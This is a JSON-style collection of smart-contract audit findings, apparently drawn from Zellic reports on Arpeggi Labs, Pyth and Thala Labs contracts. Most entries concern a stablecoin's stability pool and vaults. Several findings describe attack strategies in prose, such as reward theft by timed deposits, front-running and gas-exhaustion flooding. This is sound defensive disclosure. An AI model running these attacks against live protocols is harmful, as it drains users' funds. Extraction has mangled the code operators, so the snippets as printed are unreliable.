AudioRegistryProtocol.sol at L12, but this role is never used anywhere. We assume that UPGRADER_ROLE was intended to be used in the _aut horizeUpgrade function, but _authorizeUpgrade uses DEFAULT_ADMIN_ROLE instead: function _authorizeUpgrade(address newImplementation) internal onlyRole(DEFAULT_ADMIN_ROLE) override {} The members of UPGRADER_ROLE are not given permission to upgrade the AudioRegist ryProtocol contract. Consider modifying _authorizeUpgrade to replace DEFAULT_ADMIN_ROLE with UPGRADER_ ROLE: function _authorizeUpgrade(address newImplementation) internal onlyRole(UPGRADER_ROLE) override {} This issue was fixed by Arpeggi Labs in commit 00524c4. Zellic Arpeggi Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Arpeggi_Labs_-_Zellic_Audit_Report.pdf" + }, + { + "title": "3.1 New governance source may break transfer functionality", + "labels": [ + "Zellic" + ], + "body": "Target: CosmWasm Category: Coding Mistakes Likelihood: Low Severity: Low : Low The AuthorizeGovernanceDataSourceTransfer action is used to modify the currently authorized governance source (i.e., the caller address that may perform governance actions through this contract). This is done through the execute_governance_instruct ion() function. Specifically, the AuthorizeGovernanceDataSourceTransfer calls into transfer_governan ce(). This action allows the caller (who is the currently authorized governance source) to pass in a claim VAA that contains information about the new governance source to authorize. This claim VAA is supplied by the new governance source. To prevent replay attacks, the claim VAA also contains a governance_data_source_ind ex, which needs to be larger than the currently stored index. If it is not, it means that a previous AuthorizeGovernanceDataSourceTransfer message is being replayed, and thus the contract will reject it. This check can be seen in the transfer_governance() function: fn transfer_governance( next_config: &mut ConfigInfo, current_config: &ConfigInfo, parsed_claim_vaa: &ParsedVAA, ) -> StdResult { /) [ ...)) ] match claim_vaa_instruction.action { RequestGovernanceDataSourceTransfer { governance_data_source_index, } => { if current_config.governance_source_index >) governance_data_source_index { Err(PythContractError:)OldGovernanceMessage)? Zellic Pyth Data Association } /) [ ...)) ] } _ => Err(PythContractError:)InvalidGovernancePayload)?, } } The governance_source_index configuration property is a u32, so if the new governance source passes in a RequestGovernanceDataSourceTransfer action with the governanc e_data_source_index property set to the maximum u32 value, then any subsequent RequestGovernanceDataSourceTransfer action can never have a higher governance_da ta_source_index property, and thus this action can never be performed again. We do not consider this a security issue, as the new governance source is considered to be a trusted entity by the protocol already. We do however recommend that this be fixed, as the new governance source may accidentally brick this governance source transfer functionality of the contract by passing in the maximum u32 value for the gov ernance_data_source_index. Consider adding a check such that the governance_data_source_index is higher than the currently stored governance_source_index but still within a certain amount. Pyth Data Association acknowledges the finding and developed a patch for this issue: commit 3e104b41. Zellic Pyth Data Association", + "html_url": "https://github.com/Zellic/publications/blob/master/Pyth Network CosmWasm - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Stealing of liquidation rewards in stability_pool", + "labels": [ + "Zellic" + ], + "body": "Target: stability_pool Category: Business Logic Likelihood: High Severity: High : Critical The share of liquidation rewards entitled to APD depositors in the stability pool de- pends on the user\u2019s deposited amount relative to the value of the pool at the time of the liquidation call. /) Compute share of the pool let (deposit_amount, _, next) = iterable_table:)borrow_iter_mut(stability_pool_deposits, depositor); let share = ((*deposit_amount as u128) * SHARE_DECIMAL_CONSTANT) / (stability_pool_apd_amount as u128); \u2026 let collateral_share_amount = (((collateral_amount as u128) * share) / SHARE_DECIMAL_CONSTANT as u64); *depositor_collateral_share = *depositor_collateral_share + collateral_share_amount; There is nothing to enforce that depositors of APD who are compensated from prof- itable liquidation events actually had APD deposited prior to the profitable liquidation event and hence exposure to losses. The above mechanism creates the following attack vector: 1. Identify profitable liquidation vaults (these are deterministic and can be deter- mined from reviewing the liquidation compensation mechanism). 2. Deposit a large amount of APD into the liquidation pool to obtain a dispropor- tionate share of the rewards. Zellic Thala Labs 3. Call liquidate, receive rewards, and withdraw them from the liquidity pool. With access to sufficient amounts of APD, a malicious user could claim the vast ma- jority of the rewards. Such attacks would lead to loss of confidence in the protocol. Users would likely remove their funds from the stability pool due to lack of compen- sation for risks taken. The attack can be discouraged by enforcing timelocks on APD deposits into the sta- bility pool. However, there is still the potential for gaming. For example, depending on market conditions, it could be economically rational to flood the pool with APD to steal liquidation rewards and ride out any subsequent exposure to losses in the sta- bility pool. The use of timelocks would, however, prevent pool takeovers from flash loans. A more involved fix would be to require that compensation to APD depositors de- pends on the amount of time they have been in the pool. Of course, this also needs careful consideration as it may discourage important sources of liquidity from sup- porting the pool if they are not going to be compensated for it. To mitigate risk-free profit from opportunistic deposits, the protocol now requires liq- uidity providers to hold funds in the pool for 24 hours or incur a linear fee. This solution would theoretically help significantly with the problem, but it would require separate review due to the presence of extensive architectural changes. We believe the fix does not entirely mitigate the issue \u2014 depositors can still front-run profitable events to add funds and accept the 24 hours of risk. We encourage Thala Labs to evaluate further mitigations (such as a short delay on the deposit side) and consider whether they would be helpful for the protocol economics. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Riskless liquidation rewards in stability_pool", + "labels": [ + "Zellic" + ], + "body": "Target: stability_pool Category: Business Logic Likelihood: High Severity: High : Critical The profits for stability pool depositors are initially increasing as the price of collateral assets relative to APD decreases. Profits continue to increase until they reach their maximum, after which they begin to decrease and eventually become losses. The intercepts for profit and loss and the location of peak profit depend on system parameters. However, in general there is an optimal liquidation price at which maxi- mum profit is realized for the liquidation. Below this price, profits are decreasing until they eventually cross a critical threshold and turn into losses. Because APD depositors are able to freely deposit and withdraw funds from the stabil- ity pool, the incentive mechanism above creates free optionality for APD depositors. For example, a clever depositor can avoid losses in all cases by 1. Calling liquidate themselves when it optimizes the profit of the stability pool. 2. Front-run liquidation events that would result in losses by withdrawing APD prior to the liquidation call. Furthermore, there are no economic incentives for anyone who is not a stability pool depositor to call vault:)liquidate. A malicious actor who follows this strategy can effectively steal other APD depositors from their compensation. It is likely that word of this exploit would spread, resulting in other APD depositors following this strategy or, when unable to do so, removing their deposits from the protocol. This would effectively break a critical mechanism of the design and the integrity of the stablecoin. We recommend the following changes in order to remove the attacker vector: Zellic Thala Labs 1. Add timelocks for depositors. 2. Provide incentives for nonstability pool depositors to call vault:)liquidate. It is important to note, however, that the proper functioning of the stablecoin protocol requires that APD depositors have timely access to their funds. For example, it may be necessary to support other mechanisms in the protocol such as calls to vault:)re deem_collateral. Careful consideration should be made in determining the appropriate length of time for timelocks. It may even be advisable to actively manage the length of timelocks in response to market conditions. Thala Labs has incorporated a mitigation for this issue by enforcing a minimum deposit time with a linear fee. Due to extensive changes in the project, a separate review would be required to confirm its correctness. To further discourage liquidity providers from front-running negative events to leave the pool, we encourage Thala Labs to consider adding a short delay for all withdrawals \u2014 even those by depositors who have spent significant time in the pool. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Redemption mechanism allows undercollateralized vaults to escape liquidation penalization", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: High Severity: High : Critical Undercollateralized vaults can have their debt paid off without incurring liquidation penalities when users make calls to vault:)redeem_collateral. The amount of debt paid off in a given vault during a call to liquidation is given by the following: let redeemed_usd = fixed_point:)min( fixed_point:)min(collateral_usd, debt_usd), fixed_point:)from_u64(coin:)value(&remained_debt_coin)), ); In the event that collateral_usd < debt_usd and collateral_usd < remained_debt_c oin prior to the call to repay_internal, and a remained_debt_coin > 0 after the call to repay_internal, repay_internal(redeemee, coin:)extract(&mut remained_debt_coin, redeemed_debt)); the full collateral of the vault will be removed and an amount of debt equal to the collateral amount will be paid. However, the vault will hold a debt equal to debt_usd - collateral_usd. Additionally, the vault with zero collateral and nonzero debt will be reinserted into the sorted vault: /) update sorted_vaults if (coin:)value(&remained_debt_coin) !) 0) { /) all debt repayed, so should be inserted as head sorted_vaults:)reinsert( redeemee, math:)compute_nominal_cr(0, 0), option:)none(), Zellic Thala Labs sorted_vaults:)get_first(), ); } else { The ability for undercollateralized positions to be exited without paying penalties to the stability pool disincentivizes users from supporting the stability of the protocol by depositing APD into the stability pool. Furthermore, it creates a way for undercollat- eralized vaults to redeem their collateral without incurring any penalty. Vaults with zero collateral and nonzero debt should not exist in the system at all, let alone in the head of the SortedVaults, where it is assumed that positions have nonzero debt. Furthermore, this APD would effectively be locked out from burning and would result in outstanding APD that is not backed by collateral. While this might not immediately break the protocol, these unbacked APD positions could accumulate over time. Given one of the aims of the protocol is to ensure that all APD is not only backed by collateral but is overcollateralized, this could result in loss of confidence in the protocol. The situation can be avoided if undercollateralized vaults cannot be redeemed but can only be liquidated. An undercollateralization check should be included in the logic for vault:)redeem_col lateral. Thala should consider auto-liquidating these vaults when they are encoun- tered during calls to vault:)redeem_collateral. Thala Labs has implemented a fix in commit 9ac67d7c that skips redemption when vaults are undercollateralized. This mitigation addresses the issue pointed out, but its interactions with other significant protocol changes would require a separate review. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Public access to register_collateral can lock out collateral CoinTypes from APD", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: High Severity: High : High The function stability_pool:)register_collateral is public when it should be publ ic(friend): public entry fun register_collateral(account: &signer) { assert!(signer:)address_of(account) =) @thala_protocol_v1, ERR_UNAUTHORIZED); assert!(initialized(), ERR_UNINITIALIZED); if (!exists)(@thala_protocol_v1)) { let collateral = coin:)zero(); let shares = table:)new(); move_to(account, DistributedCollateral { collateral, shares }); } } A malicious actor can call register_collateral for any CoinType prior to this function being called from its intended control flow via an internal function call made by vaul t:)initialize. The assertion checks in vault:)initialize: public entry fun initialize(manager: &signer) { assert!(signer:)address_of(manager) =) @thala_protocol_v1, ERR_INVALID_MANAGER); assert!(manager:)initialized(), ERR_UNINITIALIZED_MANAGER); assert!(!exists)(@thala_protocol_v1), ERR_INITIALIZED_COLLATERAL); stability_pool:)register_collateral(manager); sorted_vaults:)initialize(manager); Zellic Thala Labs move_to(manager, CollateralState { total_collateral: 0, total_debt: 0, }); } This will prevent the protocol manager from being able to initialize vaults for the given CoinType. In the worst case scenario, it would be possible for an attacker to completely prevent the deployment of vaults for any CoinType. Modify the access to stability_pool:)register_collateral from public to public(fr iend). Thala Labs has followed our recommendation and changed stability_pool:)regist er_collateral from public to public(friend) in commit fdba1010. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Partially filled APD redemptions always charge the full re- demption fees", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: High Severity: Medium : Medium Partially filled APD redemptions always charge the full redemption fee, even if some of the APD passed in the function call is not redeemed: public fun redeem_collateral( debt: Coin, /) TODO - take hints from the off-chain /) prev: Option
, /) next: Option
, ): (Coin, Coin) acquires VaultStore, CollateralState { let remained_debt_coin = debt; let redeemed_collateral_coin = coin:)zero(); let redemption_fee_amount = { let redemption_fee = get_redemption_fee(); let remained_debt_amount = fixed_point:)from_u64(coin:)value(&remained_debt_coin)); fixed_point:)to_u64(fixed_point:)mul(remained_debt_amount, redemption_fee)) }; let redemption_fee_coin = coin:)extract(&mut remained_debt_coin, redemption_fee_amount); manager:)charge_redemption_fee(redemption_fee_coin); Because the variable redemption_fee_coin is not adjusted to account for partial re- demptions, users who call vault:)redeem_collateral are always charged the full re- demption fee. This could discourage users from calling vault:)redeem_collateral and potentially alter the economics of interacting with the protocol to the point where users seek alternative stablecoin protocols. Zellic Thala Labs Calculate redemption_fee_coin at the end of the vault:)redeem_collateral based on the actual amount of APD redeemed. Thala Labs updated the function in commit 6de6e464 to charge the correct fee for redemption. Since other architectural changes have affected the function as well, additional review would be required to confirm the correctness of redemption me- chanics. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Distribution mechanism for liquidation rewards susceptible to max_gas", + "labels": [ + "Zellic" + ], + "body": "Target: stability_pool Category: Business Logic Likelihood: Medium Severity: Medium : Medium On the liquidation of undercollateralized vaults, control is passed from vault:)liqui date to stability_pool:)distribute_collateral_and_request_apd. This function uses a while loop to iterate over all of the addresses in an iterable table: struct StabilityPool has key { apd: Coin, deposits: IterableTable, num_depositors: u64, } ...)) public(friend) fun distribute_collateral_and_request_apd( vault_addr: address, requested_apd: u64, collateral: Coin ): Coin acquires StabilityPool, StabilityPoolEvents, DistributedCollateral { ...)) let depositor_iter_option = iterable_table:)head_key(stability_pool_deposits); while (option:)is_some(&depositor_iter_option)) { let depositor = *option:)borrow(&depositor_iter_option); ...)) As the number of APD depositors grows, the gas costs of liquidation will steadily in- crease. Additionally, a malicious attacker could flood the StabilityPool.deposits it- erable table with accounts with zero APD deposited. This could eventually lead to max_gas and the inability for stability pool depositors to be rewarded for risks taken in supporting the stability pool. Zellic Thala Labs We suggest Thala Labs adopt the reward distribution mechanism central to the ERC 4626 token vault standard. Rather than looping over depositors when allocating re- wards, it increments the redemption value of shares held by all depositors to reflect increases in claimable rewards. Thala Labs has overhauled the reward system and adopted a pull-based approach for distributions. These changes can be seen in commit 513f0736. Conceptually, this is a move in the right direction; however, verifying the security of these changes would require a separate review. Zellic Thala Labs 3.7 Low collateral positions can lead to max_gas Target: vault Category: Business Logic Likelihood: Medium Severity: Medium : Medium The vault:)open_vault function described previously enforces minimum collateral- ization rates but not minimum collateral. The implementation of sorted_vaults maintains a list of vaults ordered by decreasing collateralization rate. The redeem_collateral function in vault.move iterates from the sorted list\u2019s tail to extract collateral for APD; this can be expensive. Consider this excerpt from its implementation: while (option:)is_some(&min_cr_address) &) coin:)value(&remained_debt_coin) > 0) { let redeemee = *option:)borrow
(&min_cr_address); /) [...))] min_cr_address = sorted_vaults:)get_prev(redeemee); /) update sorted_vaults if (coin:)value(&remained_debt_coin) !) 0) { /) all debt repayed, so should be inserted as head sorted_vaults:)reinsert( redeemee, math:)compute_nominal_cr(0, 0), option:)none(), sorted_vaults:)get_first(), ); } else { let (vault_collateral, vault_debt) = collateral_and_debt_amount(redeemee); /) not all debt repayed, so should be reinserted with hint sorted_vaults:)reinsert( redeemee, math:)compute_nominal_cr((vault_collateral as u128), (vault_debt as u128)), Zellic Thala Labs option:)none(), /) TODO - should be prev option:)none(), /) TODO - should be next ); } }; Essentially, this begins at the vault with the lowest collateralization rate and iterates towards the head. It extracts collateral from positions until all the given APD is ex- changed. Each iteration reinserts the empty vault at the head, with the last requiring a traversal to find an insertion position. Because traversal begins at the end of the sorted vaults and continues until collateral is fully redeemed, an abundance of low-collateral vaults at the list\u2019s tail will make redeem_collateral more expensive in gas. An attacker could open many vaults with low collateral, setting the borrow amount to barely reach minimum collateralization rate. These low-collateral positions would be placed near the end of the sorted vaults where collateral redemption begins. This would increase gas costs and could lead to max_gas in vault:)redeem_collateral, af- fecting the ability of users to exchange APD for collateral. We recommend that vault:)open_vault enforces a minimum collateral requirement. This would significantly lessen the impact of flooding the sorted vault, as the redemp- tion of collateral would require fewer positions. Thala Labs has added logic to prevent the system from being flooded with zero- or low-collateral vaults. The additional checks can be found in commit 6de6e464. How- ever, fully verifying the correctness would require a separate review of the extensive architectural changes. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Accumulation of vaults can lead to max_gas via insertion al- gorithm", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: Medium Severity: Medium : Medium There are no controls preventing the creation of vaults with zero collateral in the call to vault:)open_vault. Additionally, there are no processes in place to remove vaults with zero collateral. The complete liquidation of all collateral in a vault does not result in a function call to vault:)close_vault. Furthermore, the current implementation of vault:)close_vault does not actually remove the vault from the SortedVaults data structure. The insertion and reinsertion algorithm of sorted_vaults uses the nominal collateral- ization ratio to determine the order placement of vaults inserted and reinserted into the SortedVaults data structure. In the current implementation, vaults with zero col- lateral (and hence zero debt) are placed at the front of the linked list. public fun compute_nominal_cr(collateral: u128, debt: u128): u128 { if (debt > 0) { (collateral * NICR_PRECISION / debt) } else { /) Return the maximal value for u128 if the Trove has a debt of 0. Represents \u201cinfinite\u201d CR. MAX_U128 } } In the current implementation, there are in general no hints provided for the insertion and reinsertion of vaults, whether they have zero or nonzero collateral or not. In the majority of cases, insertion or reinsertion require traversing the linked list from the head until the placement determined by the rank order of the nominal collateralization ratio is found. Uncontrolled size of the linked list can result in increasing gas costs for interacting with the protocol and ultimately its failure due to max_gas. Zellic Thala Labs There are two separate vectors contributing to reaching max_gas: 1. A malicious attacker can flood the system with zero-collateral vaults using calls to vault:)open_vault. 2. Depending on the number of users in the protocol, its regular operation will result in the steady increase of zero-collateral vaults that are never removed either by calls to vault:)close_vault or vault:)liquidate. A combination of the above is the most likely avenue to reaching max_gas. There are several recommendations that should be followed in order to address the issue: 1. Ensure that vaults cannot be opened with zero collateral. Furthermore, it may be beneficial to enforce a minimum collateral amount in order to open a vault to reduce the economic feasibility of the attack mentioned above. 2. Ensure that calls to vault:)close_vault result in removal of the vault from Sort edVaults. 3. Ensure that the complete liquidation of vaults results in calls to the updated ver- sion of vault:)close_vault. 4. Provide hints to the insertion and reinsertion algorithm to avoid traversing the linked list from head when it is not necessary. Thala Labs has added checks to ensure that zero-collateral vaults cannot be created. Specifically, in commit 6de6e464, vault creation is enforced against a minimum debt requirement. Fully validating these checks would require a separate review of new data structures and how they interact with the rest of the protocol. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.9 Unable to unregister collateral CoinTypess", + "labels": [ + "Zellic" + ], + "body": "Target: stability_pool Category: Business Logic Likelihood: Medium Severity: Medium : Medium There is currently no way to unregister collateral assets from the protocol. Further- more, there is no mechanism to disincentivize borrowing against collateral assets that no longer meet Thala\u2019s risk framework. During the evolution of the protocol, it is likely that some of the assets that were initially deemed suitable for inclusion in the APD stablecoin protocol no longer satisfy these conditions. For example, the volatility of collateral assets is in no way guaranteed to remain within a range acceptable to the framework. In the event one of the collateral assets becomes too volatile, there would be no way to remove it from the system. Because the stability pool supports all collateral CoinTypes, the inability to remove or discourage the use of the volatile assets could disincentivize APD depositors from supporting the stability pool. For example, it could increase the perceived likelihood of liquidation events that result in losses for stability pool depositors. Thala Labs has identified the need for appropriate mechanisms to disincentivize the use of such collateral assets. The proposal references interest rates for debt bor- rowers. We recommend Thala Labs flesh out these mechanisms so that they can be reviewed. Among the considerable architectural changes that Thala Labs has made, one has been the incorporation of capabilities like asset freezing into the protocol. This func- tionality is present in commit 6de6e464. The update does address our concern, but the code changes are very extensive. Verifying its security and functionality would require a separate review. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Missing oracle stale price check", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: Medium Severity: Medium : Medium The oracle does not keep a time stamp, and there is no infrastructure in place to check for stale prices. struct PriceStore has key { numerator: u64, denominator: u64, } Even if there is a rigorous oracle-updating mechanism, stale price checks can prevent catastrophic outcomes in the event the oracle has issues. During volatile markets or rapid price movements, the true market price could easily deviate from the price in the PriceStore. Allowing users to interact with the proto- col using stale prices opens up the avenue for a multitude of exploits given the large number of ways users can interact with the protocol. For example, they could avoid liquidation events, redeem collateral at favorable prices, borrow excess APD, and so forth. Expand the oracle PriceStore to include time stamps reflecting calls made to oracle: :set_price by the oracle_manager. Additionally, calls made to oracle:)price_of by get_oracle_price should check time stamps against the current time to evaluate whether prices are stale or not. We suggest the protocol managers incorporate a combination of statistical price anal- ysis and market expectations to determine the appropriate time window since the last oracle update. It may also be advisable to incorporate some flexibility into the time window \u2014 for example, it is possible for prices to become increasingly stale during volatile markets with rapid price movements. Zellic Thala Labs We further suggest that Thala Labs make available the processes for updating their price oracle so that we can assess its robustness. Thala Labs has made commendable efforts to mitigate issues due to stale oracle prices: for instance, the project now uses a tiered oracle system that considers factors like staleness. However, the oracle framework has been expanded considerably and would require a separate review to ensure the issue has been fixed. The new oracle system exists in commit 6de6e464. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.11 Centralization risk", + "labels": [ + "Zellic" + ], + "body": "Target: Project Wide Category: Centralization Risk Likelihood: Medium Severity: Medium : Medium There are several mechanisms in which the operators of the protocol can influence the protocol in material ways. Protocol managers can exert control over the following critical operations: 1. Control over the minimum collateralization ratio (MCR) and redemption fees. 2. Vault initialization and collateral CoinTypes used in the protocol. 3. Control over the price oracle. In the most severe cases, control over the aforementioned mechanisms can lead to the following outcomes. Calls to params:)set_params can be used to reduce the value of the MCR such that certain vaults become immediately eligible for liquidation. With their knowledge of the profit and loss awarded to liquidators, a malicious actor with management access could set MCR such that a subsequent vault liquidation would maximize profit. They could combine this with a flash loan to take over the majority of the liquidation rewards and effectively rug the protocol. Additionally, calls to params:)set_params can be used to set redemption fees to ex- cessively high values. Calls to vault:)initialize can be used to register assets that do not meet the criteria of Thala Labs\u2019s risk framework. Because all vaults are supported by one stability pool, this could severely disrupt the economics and incentives for other users to use the system. Lastly, the manager can effectively take over the oracle to set prices as they please. When done maliciously, this could severely disrupt the operation of the protocol in all manners of mechanism. Zellic Thala Labs While it is critical for protocol managers to be able to exert control over the parame- ters and variables mentioned above, this access should be controlled through a multi- signature wallet. In particular, changes to the MCR on existing pools, if made at all, should be done in combination with announcements so that users have ample time to modify their collateralization ratios and avoid liquidation. Most projects utilize multi-signature wallets to mitigate centralization risks and pro- vide an additional layer of security. However, there are no security benefits if access control is not implemented correctly. The keys of a multi-signature wallet should al- ways be stored independently of each other, on physically separate hardware. Should one of the systems be compromised, the damage will be isolated. Make use of hard- ware wallets if possible. Also consider trusted, industry-standard key custody providers. Thala Labs has indicated that a multi-signature wallet (MSafe) will be used to manage centralization risk. However, in the current implementation, it is possible for any ad- dress to be used as the manager account. One possible solution would be to check that the manager account has the MSafe resource. Additional checks could poten- tially be included to verify that the wallet satisfies some requirements for quorum and threshold. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.12 Missing assertion checks for critical protocol parameters", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: Low Severity: Low : Low There are no checks in place to enforce that params:)set_params has been called for a given CoinType prior to calling vault:)initialize: public entry fun initialize(manager: &signer) { assert!(signer:)address_of(manager) =) @thala_protocol_v1, ERR_INVALID_MANAGER); assert!(manager:)initialized(), ERR_UNINITIALIZED_MANAGER); assert!(!exists)(@thala_protocol_v1), ERR_INITIALIZED_COLLATERAL); stability_pool:)register_collateral(manager); sorted_vaults:)initialize(manager); move_to(manager, CollateralState { total_collateral: 0, total_debt: 0, }); } If the ParamStore has not been initialized via a call to params:)set_params< CoinType>, subsequent calls to vault functions will fail with unclear error messages. Force the parameters to be set up prior to allowing calls to vault:)initialize by including the following assertion check: public entry fun initialize(manager: &signer) { assert!(signer:)address_of(manager) =) @thala_protocol_v1, ERR_INVALID_MANAGER); assert!(manager:)initialized(), ERR_UNINITIALIZED_MANAGER); Zellic Thala Labs assert!(!exists)(@thala_protocol_v1), ERR_INITIALIZED_COLLATERAL); assert!(!exists)(@thala_protocol_v1), ERR_UNINITIALIZED_PARAMSTORE); stability_pool:)register_collateral(manager); sorted_vaults:)initialize(manager); move_to(manager, CollateralState { total_collateral: 0, total_debt: 0, }); } Thala Labs has made extensive changes to the initialization sequence, which would require a separate review to confirm that all protocol parameters are set prior to or during the initialization. These changes are present in commit 6de6e464. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.13 Missing validation checks in set_params", + "labels": [ + "Zellic" + ], + "body": "Target: manager Category: Business Logic Likelihood: Low Severity: Low : Low Currently there are no validation checks in params:)set_params to ensure that the fol- lowing critical protocol parameters are not set to values that break the protocol. public entry fun set_params( manager: &signer, mcr_numerator: u64, mcr_denominator: u64, redeem_fee_numerator: u64, redeem_fee_denominator: u64, ) acquires ParamStore { assert!( signer:)address_of(manager) =) @thala_protocol_v1, error:)invalid_argument(ERR_MANAGER_ADDRESS_MISMATCH), ); if (!exists)(@thala_protocol_v1)) { move_to(manager, ParamStore { mcr_numerator, mcr_denominator, redeem_fee_numerator, redeem_fee_denominator, }); } else { let param_store = borrow_global_mut)(@thala_protocol_v1); param_store.mcr_numerator = mcr_numerator; param_store.mcr_denominator = mcr_denominator; param_store.redeem_fee_numerator = redeem_fee_numerator; param_store.redeem_fee_denominator = redeem_fee_denominator; } } Zellic Thala Labs The rest of the protocol ultimately makes calls to params:)mcr_of and params:)redeem_ fee_of under the assumption that the MCR numerator is greater than the denominator and that the redeem fee numerator is less than the denominator. Because there are no checks on their end, this is likely to result in a combination of failures and, worse, potentially erroneous calculations. Include the following validation checks to ensure numerators are less than denomi- nators: public entry fun set_params( manager: &signer, mcr_numerator: u64, mcr_denominator: u64, redeem_fee_numerator: u64, redeem_fee_denominator: u64, ) acquires ParamStore { assert!( signer:)address_of(manager) =) @thala_protocol_v1, error:)invalid_argument(ERR_MANAGER_ADDRESS_MISMATCH), ); assert!( (mcr_numerator >) mcr_denominator), error:)invalid_argument(ERR_MCR_NUMR_LT_DENOM), ); assert!( (redeem_fee_numerator <) redeem_fee_denominator), error:)invalid_argument(ERR_FEE_NUMR_GT_DENOM), ); if (!exists)(@thala_protocol_v1)) { move_to(manager, ParamStore { mcr_numerator, mcr_denominator, redeem_fee_numerator, redeem_fee_denominator, }); } else { Zellic Thala Labs let param_store = borrow_global_mut)(@thala_protocol_v1); param_store.mcr_numerator = mcr_numerator; param_store.mcr_denominator = mcr_denominator; param_store.redeem_fee_numerator = redeem_fee_numerator; param_store.redeem_fee_denominator = redeem_fee_denominator; } } The initialization changed considerably by commit 6de6e464. Confirming that all the assertions are secure would require a separate review. We note that the new se- quence now sets vault parameters to default values; however, they can be later mod- ified with setter functions, which each need to be reviewed for proper checks. Addi- tionally, the setter functions allow the minimum collateralization ratios to be changed after a vault has been deployed, which could introduce a centralization risk where a protocol owner causes open vaults to be liquidated. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.14 Locked redemption fees", + "labels": [ + "Zellic" + ], + "body": "Target: manager Category: Business Logic Likelihood: High Severity: Low : Low Currently there is no way for the manager to retrieve fees stored in the FeeStore from calls made to manager:)charge_redemption_fee; in vault:)redeem_collateral;. The owners of the protocol would be unable to retrieve redemption fees from the FeeStore. Add an access-controlled method to the manager to allow the protocol owners to re- trieve redemption fees. Thala Labs has made considerable efforts to include the functionality to allow col- lateral withdrawals. In commit 6de6e464, the module thala_protocol_v1:)fees was fleshed out with the withdrawal functionality. However, the changes are extensive and require a separate review. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.15 The ascending insertion search fails to return the tail", + "labels": [ + "Zellic" + ], + "body": "Target: sorted_vaults Category: Business Logic Severity: Low Likelihood: Low : Low The sorted_vaults:)find_insert_position_ascending search algorithm fails to return the tail position: fun find_insert_position_ascending( nominal_cr: u128, start_id: Option
, ): (Option
, Option
) acquires SortedVaults { if (empty()) { return (option:)none(), option:)none()) }; /) check if the insert position is after the tail let tail = get_last(); if (option:)is_none(&start_id)) { let tail_nominal_cr = get_nominal_cr(*option:)borrow(&tail)); if (tail_nominal_cr >) nominal_cr) { return (option:)none(), tail) } }; ...)) The position returned by sorted_vaults:)find_insert_position_ascending does not correspond with a valid insertion position. Fortunately, however, in the current implementation this never happens because fin d_insert_position_ascending is never passed a start_id that is none. Zellic Thala Labs We strongly advise that this coding mistake be fixed. If future iterations extend the current codebase and make calls to this function by passing start_id that is none, it could have material implications for the protocol. Thala Labs has made extensive changes to the sorted vaults implementation. The function containing this bug was removed by commit 6de6e464. It appears as though the issue has been resolved, but complete verification of the new mechanics would require a separate review. Zellic Thala Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Thala Labs Move Dollar - Zellic Audit Report.pdf" + }, + { + "title": "3.16 Instances of none in VaultStore.vault", + "labels": [ + "Zellic" + ], + "body": "Target: vault Category: Business Logic Likelihood: Low Severity: Low : Low Calls to vault:)close_vault leave the vault store with a none vault: /) clear resource let vault_store = borrow_global_mut)(account_addr); vault_store.vault = option:)none(); withdrawn_collateral Closing a vault can cause the following getters to fail with an unclear error message: public fun max_borrow_amount(addr: address): u64 acquires VaultStore { assert_vault_store(addr); let vault_store = borrow_global)(addr); let vault = option:)borrow(&vault_store.vault); max_borrow_amount_given_collateral(vault.collateral) } public fun collateral_amount(addr: address): u64 acquires VaultStore { assert_vault_store(addr); let vault_store = borrow_global)(addr); let vault = option:)borrow(&vault_store.vault); (vault.collateral) } public fun debt_amount(addr: address): u64 acquires VaultStore { assert_vault_store(addr); Zellic Thala Labs let vault_store = borrow_global)(addr); let vault = option:)borrow(&vault_store.vault); (vault.debt) } Closed vaults, and hence vault stores with none vaults, remain in the SortedVaults struct. It appears as though this should not cause an issue in the current implementa- tion. It is strongly advised that Thala Labs avoid having fields with none values as this can lead to unexpected failures with unclear error messages. Consider removing VaultStores with none vaults from the SortedVaults struct. Alter- natively, remove the VaultStore for closed vaults entirely. Additionally, inlcude assertion checks for vaults that are not none in the above func- tions. In commit 6de6e464, Thala Labs added a check to ensure that no vaults with zero collateral are added to the system. However, verifying that subsequent withdrawals cannot leave empty 